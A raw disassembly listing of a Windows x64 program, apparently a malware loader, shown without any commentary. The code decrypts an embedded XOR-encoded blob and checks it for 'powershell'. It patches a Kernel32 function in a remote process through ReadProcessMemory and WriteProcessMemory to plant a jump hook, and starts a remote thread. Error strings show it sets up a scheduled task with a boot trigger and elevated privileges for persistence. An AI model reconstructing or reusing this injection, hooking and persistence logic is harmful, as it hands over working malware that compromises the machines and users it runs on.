mov rdx, r14
mov r8, r15
call fcn.140021ed0
mov byte [rbx + r15], 0
mov rbx, qword [rbp + 0x158]
cmp rbx, 0x10
jb 0x14001c56b
mov rcx, qword [rbp + 0x140]
lea rdx, [rbx + 1]
cmp rdx, 0x1000
jb 0x14001c566
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x14001d41b
add rbx, 0x28
mov rdx, rbx
mov rcx, rax
call fcn.14002a448
xorps xmm0, xmm0
movaps xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x4a0], 4
mov qword [rbp + 0x4a8], 0xf
mov dword [rbp + 0x490], 0x6578652e
lea rcx, [rbp + 0x3c0]
lea rdx, [rbp + 0x4c0]
call fcn.14001e5d0
mov qword [rbp + 0x448], 0
lea rsi, [rbp + 0x140]
lea rdx, [rbp + 0x3c0]
mov rcx, rsi
call fcn.14001e830
mov qword [rbp + 0x160], 0xffffffffffffffff
cmp qword [rbp + 0x158], 8
jb 0x14001c5e5
mov rsi, qword [rbp + 0x140]
mov rcx, rsi
call fcn.1400395f8
mov esi, 2
test rax, rax
je 0x14001c783
cmp rax, qword [rbp + 0x150]
jne 0x14001c783
xorps xmm0, xmm0
movaps xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], 1
mov qword [rbp + 0x508], 7
mov word [rbp + 0x4f0], 0x2a
lea rsi, [rbp + 0x140]
lea rdx, [rbp + 0x4f0]
mov rcx, rsi
call fcn.14001ea40
mov rax, qword [rbp + 0x508]
cmp rax, 8
jb 0x14001c693
mov rcx, qword [rbp + 0x4f0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001c68e
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x14001d41b
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.14002a448
lea rdx, [rbp + 0x160]
lea rbx, [rbp + 0x168]
cmp qword [rbp + 0x158], 8
jb 0x14001c6b2
mov rsi, qword [rbp + 0x140]
mov rcx, rsi
mov r8, rbx
call fcn.14002a178
mov esi, eax
cmp eax, 5
je 0x14001c783
test esi, esi
jne 0x14001c75c
mov rdi, qword [rbp + 0x160]
jmp 0x14001c6ef
mov rcx, rdi
mov rdx, rbx
call fcn.14002a20c
test eax, eax
jne 0x14001c75a
cmp word [rbp + 0x194], 0x2e
jne 0x14001d284
movzx eax, word [rbp + 0x196]
test eax, eax
je 0x14001c6e0
cmp eax, 0x2e
jne 0x14001d284
cmp word [rbp + 0x198], 0
je 0x14001c6e0
jmp 0x14001d284
mov rbx, rsi
dec rbx
je 0x14001c32f
nop dword [rax]
movzx ebx, byte [rdx + rsi - 2]
cmp byte [rbp + rbx + 0x140], 0
jne 0x14001c74d
dec rsi
cmp rsi, 1
jne 0x14001c730
jmp 0x14001c32f
lea r15, [rdx + rsi]
add r15, 0xfffffffffffffffe
jmp 0x14001c32c
mov esi, eax
test esi, esi
je 0x14001d284
cmp esi, 0x12
jne 0x14001c783
mov byte [rbp + 0x3b8], 0
mov dword [rbp + 0x3bc], 0
xor r14d, r14d
xor edi, edi
xor esi, esi
jmp 0x14001c795
mov byte [rbp + 0x3b8], 0
mov dword [rbp + 0x3bc], esi
xor r14d, r14d
xor edi, edi
mov rcx, qword [rbp + 0x160]
call fcn.14002a1ec
mov rax, qword [rbp + 0x158]
cmp rax, 8
jb 0x14001c7ed
mov rcx, qword [rbp + 0x140]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001c7e8
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x14001d41b
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.14002a448
test esi, esi
jne 0x14001d47d
mov rax, qword [rbp + 0x3d8]
cmp rax, 8
jb 0x14001c841
mov rcx, qword [rbp + 0x3c0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001c83c
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x14001d41b
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.14002a448
test rdi, rdi
je 0x14001c88a
lock inc dword [rdi + 8]
lock inc dword [rdi + 8]
lock dec dword [rdi + 8]
mov qword [rbp + 0x4b8], rdi
jne 0x14001c880
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock dec dword [rdi + 0xc]
mov qword [rbp + 0x4b8], rdi
jne 0x14001c880
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rbp + 0x4b8], rdi
test r14, r14
jne 0x14001c89c
jmp 0x14001cd50
xor eax, eax
mov qword [rbp + 0x4b8], rax
test r14, r14
je 0x14001cd50
mov qword [rbp + 0x4e0], rdi
lea r12, [rbp + 0x140]
lea rdx, [rbp + 0x490]
lea rax, [r14 + 0x20]
mov qword [rbp + 0x478], rax
mov qword [rbp + 0x468], r14
jmp 0x14001c8e2
mov rcx, r14
mov rdx, r12
call fcn.14001ed90
lea rdx, [rbp + 0x490]
mov rcx, r12
call fcn.14001e5d0
cmp qword [r14 + 0x38], 8
mov rcx, qword [rbp + 0x478]
jb 0x14001c8fc
mov rcx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
lea rbx, [rcx + rax*2]
mov rdx, rbx
call fcn.14001fa70
mov rsi, rbx
cmp rax, rbx
jne 0x14001c929
jmp 0x14001c963
add rax, 2
cmp rax, rbx
je 0x14001c960
movzx ecx, word [rax]
cmp ecx, 0x5c
je 0x14001c920
cmp ecx, 0x2f
je 0x14001c920
mov rsi, rbx
cmp rax, rbx
je 0x14001c963
nop
movzx ecx, word [rsi - 2]
cmp ecx, 0x5c
je 0x14001c963
cmp ecx, 0x2f
je 0x14001c963
add rsi, 0xfffffffffffffffe
cmp rsi, rax
jne 0x14001c940
mov rsi, rax
jmp 0x14001c963
mov rsi, rbx
mov rcx, rsi
mov rdx, rbx
mov r8w, 0x3a
call fcn.14002a0b0
cmp rsi, rax
je 0x14001c9d3
lea rdx, [rax - 2]
cmp rsi, rdx
je 0x14001c9d0
lea rcx, [rax - 4]
cmp word [rax - 2], 0x2e
jne 0x14001c99f
cmp rsi, rcx
jne 0x14001c99a
cmp word [rsi], 0x2e
mov rsi, rax
je 0x14001c9d3
mov rsi, rdx
jmp 0x14001c9d3
cmp rsi, rcx
je 0x14001c9d0
nop word cs:[rax + rax]
cmp word [rcx], 0x2e
je 0x14001cd3f
add rcx, 0xfffffffffffffffe
cmp rcx, rsi
jne 0x14001c9b0
nop word cs:[rax + rax]
mov rsi, rax
sub rax, rsi
sar rax, 1
mov rcx, r13
mov rdx, rsi
mov r8, rax
call fcn.14001e930
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x520], rax
cmp rax, 8
jb 0x14001ca02
mov r12, qword [rbp + 0x140]
mov rsi, qword [rbp + 0x150]
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x488], rax
cmp rax, 8
mov rcx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x500]
mov r15, r13
mov qword [rbp + 0x470], rcx
cmovae r15, rcx
lea r14, [r15 + rax*2]
mov rcx, r15
mov rdx, r14
call fcn.14001fa70
mov rdi, rax
lea r13, [r12 + rsi*2]
mov rcx, r12
mov rdx, r13
call fcn.14001fa70
mov r8, rdi
mov rcx, rax
sub rcx, r12
sar rcx, 1
mov rsi, rdi
sub rsi, r15
sar rsi, 1
cmp rcx, rsi
mov rdx, rsi
cmovb rdx, rcx
test rdx, rdx
je 0x14001ca94
xor edi, edi
nop
movzx ebx, word [r15 + rdi*2]
cmp bx, word [r12 + rdi*2]
jne 0x14001cae0
inc rdi
cmp rdx, rdi
jne 0x14001ca80
mov edi, 1
cmp rcx, rsi
lea r12, [rbp + 0x140]
mov r10, qword [rbp + 0x520]
jne 0x14001cb44
mov rdx, r14
cmp r8, r14
je 0x14001caf8
mov rdx, r8
jmp 0x14001cac9
add rdx, 2
cmp rdx, r14
je 0x14001caf5
movzx ecx, word [rdx]
cmp ecx, 0x5c
je 0x14001cac0
cmp ecx, 0x2f
je 0x14001cac0
jmp 0x14001caf8
mov edi, 1
lea r12, [rbp + 0x140]
mov r10, qword [rbp + 0x520]
jmp 0x14001cb44
mov rdx, r14
mov rcx, r13
cmp rax, r13
je 0x14001cb2b
mov rcx, rax
jmp 0x14001cb19
add rcx, 2
cmp rcx, r13
je 0x14001cb28
movzx edi, word [rcx]
cmp edi, 0x5c
je 0x14001cb10
cmp edi, 0x2f
je 0x14001cb10
jmp 0x14001cb2b
mov rcx, r13
xor edi, edi
cmp r8, rdx
setne dil
xor ebx, ebx
cmp rax, rcx
setne bl
sub edi, ebx
je 0x14001cc56
mov rbx, qword [rbp + 0x488]
cmp rbx, 8
lea r13, [rbp + 0x4f0]
mov r14, qword [rbp + 0x468]
jb 0x14001cba5
lea rdx, [rbx + rbx]
add rdx, 2
cmp rdx, 0x1000
mov rcx, qword [rbp + 0x470]
jb 0x14001cb99
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x14001d41b
add rbx, rbx
add rbx, 0x29
mov rdx, rbx
mov rcx, rax
call fcn.14002a448
mov r10, qword [rbp + 0x158]
cmp r10, 8
jb 0x14001cbea
mov rcx, qword [rbp + 0x140]
lea rdx, [r10 + r10]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001cbe5
mov rax, rcx
add rax, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rax, rcx
cmp rax, 0x20
jae 0x14001d41b
add r10, r10
add r10, 0x29
mov rdx, r10
call fcn.14002a448
test edi, edi
je 0x14001d343
mov rdi, qword [rbp + 0x4e0]
nop dword [rax]
mov rcx, qword [r14 + 0x40]
mov rdx, r12
call fcn.14002a20c
test eax, eax
jne 0x14001cd47
cmp word [rbp + 0x16c], 0x2e
jne 0x14001c8d0
movzx eax, word [rbp + 0x16e]
test eax, eax
je 0x14001cc00
cmp eax, 0x2e
jne 0x14001c8d0
cmp word [rbp + 0x170], 0
je 0x14001cc00
jmp 0x14001c8d0
mov rcx, r13
mov rdx, rax
xor eax, eax
cmp rdx, r14
sete al
xor edi, edi
cmp rcx, r13
sete dil
sub edi, eax
cmp rdx, r14
je 0x14001cb44
test edi, edi
jne 0x14001cb44
movzx eax, word [rdx]
cmp eax, 0x2f
sete r8b
cmp eax, 0x5c
sete r9b
or r9b, r8b
movzx esi, word [rcx]
cmp esi, 0x2f
sete r8b
cmp esi, 0x5c
sete bl
or bl, r8b
movzx edi, bl
movzx ebx, r9b
sub edi, ebx
jne 0x14001cb44
cmp ax, 0x5c
je 0x14001ccbe
movzx ebx, ax
cmp ebx, 0x2f
jne 0x14001ccf0
add rdx, 2
mov rax, r14
cmp rdx, r14
jne 0x14001ccd9
jmp 0x14001cd20
add rdx, 2
cmp rdx, r14
je 0x14001cd10
movzx eax, word [rdx]
cmp eax, 0x5c
je 0x14001ccd0
cmp eax, 0x2f
je 0x14001ccd0
mov rax, rdx
jmp 0x14001cd20
sub eax, esi
mov edi, eax
jne 0x14001cb44
add rdx, 2
add rcx, 2
jmp 0x14001cc56
mov rax, r14
nop word cs:[rax + rax]
add rcx, 2
cmp rcx, r13
je 0x14001cc50
movzx edx, word [rcx]
cmp edx, 0x5c
je 0x14001cd20
cmp edx, 0x2f
je 0x14001cd20
jmp 0x14001cc53
mov rsi, rcx
jmp 0x14001c9d3
cmp eax, 0x12
jne 0x14001d406
mov rsi, qword [rbp + 0x4b8]
test rsi, rsi
je 0x14001cd79
lock dec dword [rsi + 8]
jne 0x14001cd79
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
lock dec dword [rsi + 0xc]
jne 0x14001cd79
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test rdi, rdi
je 0x14001cd9b
lock dec dword [rdi + 8]
jne 0x14001cd9b
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock dec dword [rdi + 0xc]
jne 0x14001cd9b
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r15d, dword [0x140075698]
mov rcx, r15
call fcn.14002a47c
mov rsi, rax
mov qword [0x1400756b8], rax
mov ecx, 0x10
call fcn.14002a404
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rax], xmm0
mov qword [rax + 8], rsi
mov rcx, r15
call fcn.14002a47c
mov r13, rax
mov rsi, rdi
test r15d, r15d
je 0x14001cdf7
mov rdx, qword [0x140075690]
mov rcx, r13
test rdx, rdx
je 0x14001cdfc
mov r8, r15
call fcn.140021ed0
jmp 0x14001ce1d
xor r15d, r15d
jmp 0x14001ce1d
xor edx, edx
mov r8, r15
call fcn.140021ff0
call fcn.140036870
mov dword [rax], 0x16
call fcn.140036dec
mov r15d, dword [0x140075698]
mov r12d, 0x6f814
sub r12d, dword [0x14007569c]
mov ecx, r12d
call fcn.140038a80
test r15d, r15d
jle 0x14001ce63
mov r14d, r15d
xor edi, edi
nop dword [rax]
movzx ebx, byte [r13 + rdi]
xor bl, r12b
call fcn.140038a98
cdq
idiv r15d
inc dl
xor dl, bl
mov byte [r13 + rdi], dl
inc rdi
cmp r14, rdi
jne 0x14001ce40
movabs rax, 0x6568737265776f70
xor rax, qword [r13]
mov qword [rsi], r13
movzx ecx, word [r13 + 8]
xor rcx, 0x6c6c
or rcx, rax
je 0x14001d492
mov r14d, dword [0x140075698]
mov ecx, 0x18
call fcn.14002a404
xorps xmm6, xmm6
movaps xmmword [rax], xmm6
mov qword [rax + 0x10], rsi
mov ecx, dword [0x1400756d8]
mov dword [rax + 8], ecx
test r14d, r14d
je 0x14001cfa6
mov qword [rbp + 0x520], rsi
lea r15d, [r14 - 1]
lea ebx, [r14 - 3]
xor ecx, ecx
movabs rsi, 0x400004000000403
lea r8, [0x14001e450]
nop dword [rax + rax]
cmp ecx, r15d
jae case.0x14001cf03.7
cmp dword [rax + 0xc], 0
jne case.0x14001cf03.7
movsxd rdx, ecx
movzx edx, byte [r13 + rdx]
lea edi, [rdx - 6]
cmp edi, 0x5f
ja case.default.0x14001cf03
movsxd rdx, dword [r8 + rdi*4]
add rdx, r8
jmp rdx
add edx, 0xffffff3c
cmp edx, 0x3a
ja case.0x14001cf03.7
bt rsi, rdx
jae case.0x14001cf03.7
mov dword [rax + 0xc], 1
nop dword [rax]
cmp ecx, ebx
jae 0x14001cf40
movsxd r12, ecx
cmp byte [r13 + r12], 0
je 0x14001cf40
cmp byte [r12 + r13 + 1], 0
jne 0x14001cf40
cmp byte [r13 + r12 + 2], 0
je 0x14001cf4c
nop
inc dword [rax + 4]
inc ecx
cmp ecx, r14d
jb 0x14001cee0
jmp 0x14001cfa6
cmp byte [r13 + r12 + 3], 0
je 0x14001cf40
cmp r14d, 0x270f
ja 0x14001cf40
mov rdi, r8
add dword [rax + 4], 3
mov rcx, rax
call fcn.1400198b0
mov ecx, 0x18
call fcn.14002a404
lea rcx, [r12 + 2]
add r12, 3
movaps xmmword [rax], xmm6
mov rdx, qword [rbp + 0x520]
mov qword [rax + 0x10], rdx
mov dword [rax], r12d
mov edx, dword [0x1400756d8]
inc edx
mov dword [0x1400756d8], edx
mov dword [rax + 8], edx
mov r8, rdi
jmp 0x14001cf43
mov rcx, rax
call fcn.1400198b0
mov r14d, 0x6f814
sub r14d, dword [0x14007569c]
mov esi, dword [0x140075698]
mov ecx, r14d
call fcn.140038a80
test esi, esi
jle 0x14001cff7
xor edi, edi
nop
movzx ebx, byte [r13 + rdi]
xor bl, r14b
mov byte [r13 + rdi], bl
call fcn.140038a98
cdq
idiv esi
inc dl
xor dl, bl
mov byte [r13 + rdi], dl
inc rdi
cmp rsi, rdi
jne 0x14001cfd0
mov rcx, qword [0x1400756b8]
mov r8d, dword [0x140075698]
mov dl, 7
call fcn.140021ff0
lea rdx, [0x140019a80]
mov rdi, qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov ecx, 1
call rdi
mov eax, dword [0x140075698]
mov rdx, qword [0x1400756b8]
mov rcx, qword [0x140077630]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x4f0], rdx
lea rax, [0x140077640]
mov qword [rsp + 0x20], rax
lea rsi, [rbp + 0x4f0]
lea r8, [rbp + 0x140]
mov rdx, rsi
mov r9d, 0x40
call fcn.1400289f0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x14006212f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140075648], rax
lea rdx, [0x1400196b0]
mov ecx, 2
call rdi
mov qword [rbp + 0x4f0], 0
mov rdx, qword [0x140075648]
mov rcx, qword [0x140077630]
mov qword [rsp + 0x20], rsi
lea r8, [0x140075650]
mov r9d, 0xc
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rbp + 0x148], 0xc3500000
mov qword [rbp + 0x140], 0xb848
lea rax, [method.std::_Facet_base.virtual_0]
mov qword [rbp + 0x142], rax
mov rdx, qword [0x140075648]
mov rcx, qword [0x140077630]
lea rax, [0x140077638]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x140]
mov r9d, 0xc
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.__
call fcn.140008f30
mov rax, qword [0x1400756b8]
mov r9, qword [0x140077630]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x28], rax
lea rax, [0x140019ca0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
lea rcx, [rbp + 0x140]
mov edx, 0x20000000
xor r8d, r8d
call fcn.140028a7c
mov rsi, qword [rbp + 0x140]
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140075600]
test rcx, rcx
je 0x14001d199
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [0x1400755f8]
test rcx, rcx
je 0x14001d1ab
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [0x1400755f0]
test rcx, rcx
je 0x14001d1bd
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [0x140075608]
test rcx, rcx
je 0x14001d1cf
call qword [sym.imp.KERNEL32.dll_FreeResource]
test rsi, rsi
je 0x14001d1dd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x4a8]
cmp rax, 0x10
jb 0x14001d222
mov rcx, qword [rbp + 0x490]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001d21d
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
mov rax, qword [rbp + 0x4d8]
cmp rax, 0x10
jb 0x14001d267
mov rcx, qword [rbp + 0x4c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001d262
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
xor eax, eax
movaps xmm6, xmmword [rbp + 0x530]
add rsp, 0x5c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x3b8], 1
mov dword [rbp + 0x3bc], 0
mov ecx, 0x58
call fcn.14002a404
movabs rcx, 0x100000001
mov qword [rax + 8], rcx
lea rcx, vtable.std::_Ref_count_obj2_struct_std::filesystem::_Dir_enum_impl_.0
mov qword [rax], rcx
lea r14, [rax + 0x10]
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov rcx, qword [rbp + 0x160]
mov qword [rbp + 0x160], 0xffffffffffffffff
mov qword [rax + 0x50], rcx
mov rcx, rax
add rcx, 0x30
mov qword [rbp + 0x520], rcx
movups xmm0, xmmword [rbp + 0x140]
movups xmm1, xmmword [rbp + 0x150]
movups xmmword [rax + 0x40], xmm1
mov qword [rbp + 0x4e0], rax
movups xmmword [rax + 0x30], xmm0
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 7
mov word [rbp + 0x140], 0
mov rcx, r14
mov rdx, rbx
call fcn.14001ed90
mov esi, dword [rbp + 0x3bc]
mov rdi, qword [rbp + 0x4e0]
jmp 0x14001c795
cmp qword [r14 + 0x38], 8
mov rdi, qword [rbp + 0x4e0]
jb 0x14001d35c
mov rax, qword [r14 + 0x20]
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
movzx eax, word [rax + 2]
mov dword [0x14007569c], eax
jmp 0x14001cd50
lea rcx, str.____pTask_get_Principal_failed:__x_n
mov edx, eax
jmp 0x14001c153
lea rcx, str.____pPrincipal_put_LogonType_failed:__x_n
mov edx, eax
jmp 0x14001c153
lea rcx, str.____pPrincipal_put_RunLevel_failed:__x_n
jmp 0x14001c151
lea rcx, str.____pTask_get_Settings_failed:__x_n
mov edx, eax
jmp 0x14001c153
lea rcx, str.____pSettings_put_StartWhenAvailable_failed:__x_n
jmp 0x14001c151
lea rcx, str.____pSettings_get_IdleSettings_failed:__x_n
mov edx, eax
jmp 0x14001c153
lea rcx, str.____pIdleSettings_put_WaitTimeout_failed:__x_n
jmp 0x14001c151
lea rcx, str.____pTask_get_Triggers_failed:__x_n
mov edx, eax
jmp 0x14001c153
lea rcx, str.____pTriggerCollection_Create_failed:__x_n
mov edx, ebx
jmp 0x14001c153
lea rcx, str.____pTrigger_QueryInterface_failed:__x_n
mov edx, ebx
jmp 0x14001c153
lea rcx, str.____pBootTrigger_put_Delay_failed:__x_n
mov edx, ebx
jmp 0x14001c153
mov ecx, eax
call fcn.14001fb90
lea rcx, str.____pTask_get_Actions_failed:__x_n
mov edx, eax
jmp 0x14001c153
call fcn.140036e0c
lea rcx, str.____pActionCollection_Create_failed:__x_n
mov edx, ebx
jmp 0x14001c153
lea rcx, str.____pAction_QueryInterface_failed:__x_n
mov edx, ebx
jmp 0x14001c153
lea rcx, str.____pExecAction_put_Path_failed:__x_n
mov edx, ebx
jmp 0x14001c153
call fcn.140009c70
call fcn.140009c70
lea rcx, str.____Error_saving_the_Task_:__x_n
mov edx, esi
jmp 0x14001c153
call fcn.140009c70
mov qword [rbp + 0x468], rdx
call fcn.140009c70
call fcn.140009c90
call fcn.140009c70
mov qword [rbp + 0x448], rdi
lea rdx, [rbp + 0x3c0]
mov ecx, esi
call fcn.14001efc0
lea rcx, [0x1400622cc]
call fcn.140008f30
mov edx, dword [0x140075698]
add edx, 0xfffffff5
add r13, 0xb
mov rcx, r13
call fcn.1400214d0
xor ecx, ecx
call fcn.140034430
call fcn.140009c90
call fcn.140009c90
call fcn.140009c70
call fcn.140009c70
call fcn.140009c70
call fcn.140009c70
call fcn.140009c90
mov ecx, 0x8007000e
call fcn.14002aae0
call fcn.140009c90
call fcn.1400193c0
mov ecx, 0x8007000e
call fcn.14002aae0
mov ecx, 0x8007000e
call fcn.14002aae0
mov ecx, 0x8007000e
call fcn.14002aae0
mov ecx, 0x8007000e
call fcn.14002aae0
mov ecx, 0x8007000e
call fcn.14002aae0
int3